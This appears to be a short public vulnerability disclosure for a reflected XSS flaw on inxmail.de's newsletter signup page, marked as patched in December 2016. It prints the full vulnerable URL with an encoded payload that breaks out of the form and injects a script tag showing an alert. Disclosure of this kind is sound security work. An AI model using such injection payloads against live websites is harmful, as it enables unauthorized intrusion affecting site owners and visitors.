inxmail.de XSS vulnerability

Vulnerable URL: http://www.inxmail.de/unternehmen/newsletter/anmeldung?email=%5B%27E-Mail-Adresse%27%5D%22%27%3E%20%3C/form%3E%3Cscript%3Ealert%22OPENBUGBOUNTY%22;%3C/script%3E Details: Description| Value ---|--- Patched:| Yes, at 17.12.2016 Latest check for patch:| 17.12.2016 16:51 GMT...